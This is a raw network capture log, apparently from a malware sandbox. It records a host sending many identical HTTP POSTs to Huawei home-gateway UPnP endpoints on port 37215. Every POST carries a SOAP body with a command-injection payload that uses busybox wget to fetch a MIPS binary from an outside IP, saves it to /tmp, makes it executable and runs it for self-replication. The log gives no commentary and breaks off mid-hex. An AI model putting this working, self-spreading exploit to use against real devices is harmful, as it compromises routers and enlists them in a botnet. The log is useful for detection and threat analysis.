Mar 6, 2025 21:38:03.815195084 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	35670	156.40.164.183	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.816416025 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	57428	197.180.169.54	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.817964077 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	49206	181.174.162.15	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.819226027 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	53116	197.19.10.148	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.820630074 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	34860	197.210.237.106	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.821810961 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	51380	46.165.55.231	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.823127031 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	34282	196.156.130.199	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.824178934 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	56772	181.182.228.131	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.825611115 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	57912	41.231.60.157	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.826631069 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	49866	223.8.227.203	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.828062057 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 